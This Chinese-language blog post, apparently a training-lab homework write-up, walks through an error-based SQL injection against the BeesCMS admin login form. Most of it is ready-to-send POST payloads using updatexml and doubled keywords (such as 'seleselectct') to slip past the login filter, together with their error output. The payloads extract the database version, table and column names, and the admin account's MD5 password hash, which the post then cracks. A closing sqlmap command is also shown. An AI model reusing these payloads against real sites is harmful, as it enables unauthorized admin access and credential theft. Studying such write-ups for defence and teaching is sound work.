首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >BeesCMS的SQL注入漏洞

BeesCMS的SQL注入漏洞

作者头像
Ms08067安全实验室
发布2020-08-10 15:52:32
发布2020-08-10 15:52:32
3.4K0
举报

本文作者:arakh(MS08067实验室Web安全攻防知识星球学员)

根据星球布置作业,完成BeesCMS的SQL注入漏洞过程如下:

1. 扫描后台 获得后台登陆地址:

2. 登陆后台,发现存在SQL报错,而且同一个验证码可以重复提交 使用

3. 由于有报错信息,尝试使用联合查询或是报错注入

测试发现,sql语句过滤了 and select 等号 等符号。等号用like替 代, and 用 an and d 替代, select 用 seleselectct替代 , from 用 fro from m替代, where用wh where ere替代 因为注入的页面为登陆页面,即使union查询的语句语法正确了,也 无法获得回显,因此考虑使用报错注入

4. 报错注入 // 查询数据库版本:

代码语言:javascript
复制

user=admin' a and nd 
updatexml(1,concat(0x7e,version(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
代码语言:javascript
复制

操作数据库失败XPATH syntax error: '~5.5.53~'
 
    // 查询当前用户
 user=admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~root@localhost~'

代码语言:javascript
复制

    // 查询当前数据库
 user=admin' a and nd 
updatexml(1,concat(0x7e,database(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~beescms~'

代码语言:javascript
复制

    // 查询当前表名
 user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om 
information_schema.tables whe where re table_schema like 
database()),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error:

代码语言:javascript
复制
'~bees_admin,bees_admin_group,bee'

发现输出字符串长度被限制了,使用截取字符串函数,测试发现每次 输出多为32个字符,所以需要不断变换截取字符的起始位置来获得 所有表的名称

代码语言:javascript
复制
user=admin' a and nd 
updatexml(1,concat(0x7e,substr((selselectect 
group_concat(table_name) fr from om 
information_schema.tables whe where re table_schema like 
database()),1,32),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

user=admin' a and nd 
updatexml(1,concat(0x7e,substr((selselectect 
group_concat(table_name) fr from om 
information_schema.tables whe where re table_schema like 
database()),32,64),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

// 查询bees_admin表中的列名

代码语言:javascript
复制
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(column_name) fr from om 
information_schema.columns whe where re table_schema like 
database() a and nd table_name like 'bees_admin'),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error:

代码语言:javascript
复制
'~id,admin_name,admin_password,ad'

同样存在字符串输出长度限制,需要使用substr()函数进行截取。

// 获取字段内容

代码语言:javascript
复制
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om 
beescms.bees_admin),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~admin~'

代码语言:javascript
复制

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect 
admin_password fr from om beescms.bees_admin wh where ere 
admin_name like 'admin'),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~21232f297a57a5a743894a0e4a801fc'

代码语言:javascript
复制

user=admin' a and nd 
updatexml(1,concat(0x7e,substr((selselectect admin_password fr 
from om beescms.bees_admin wh where ere admin_name like 
'admin'),24,64),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35

操作数据库失败XPATH syntax error: '~e4a801fc3~'

拼凑后的md5值:21232f297a57a5a743894a0e4a801fc3

解密 后:admin

5. SQLMap C:\Users\Administrator\Desktop\sqlmap>sqlmap.py -r bees.log -p "user"

枚举表名的过程失败

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-08-06,如有侵权请联系 cloudcommunity@tencent.com 删除
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档